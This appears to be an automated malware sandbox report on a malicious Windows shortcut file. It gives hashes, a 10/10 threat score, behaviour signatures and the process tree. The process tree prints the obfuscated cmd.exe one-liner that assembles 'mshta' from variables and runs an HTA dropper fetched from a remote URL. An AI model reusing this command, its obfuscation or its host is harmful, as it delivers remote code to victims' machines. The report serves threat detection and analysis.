Analysis
- max time kernel
148s - max time network
136s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:23
Static task
static1
Behavioral task
behavioral1
Sample
DOC-YEMHGO.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-YEMHGO.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-YEMHGO.lnk
- Size 1KB
- Sample260804-kacqhsar5y
- SHA256 6836ab5b724e9aa1b63745a30a459df926937c19ea039eef3718c138fd91e88e
- MD5 0fda3b8ffc129e401925a63ee42a846a
- SHA1 4d676880b365513ac2fd2fa831864be4543cb7d2
- SHA512 08122db8b6c7c37c767ba8d8c5babba71763451baa571b324fe2a14370f955753b4587d4b35a307469af386cee7134f0d701d9c2eb92cce290ca3300b615b7f7
- TLSH T1343197003FEC0A24F3F38E7395FB572085BAB86A8D20C62E0041454C5432A15E13AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3208 cmd.exe 3084 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3208 wrote to memory of 3084 3208 cmd.exe 90 PID 3084 wrote to memory of 2424 3084 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-YEMHGO.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3208 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /C "set RiB=msh&&set iAj=ta&&start "" !RiB!!iAj! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3084 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:2424
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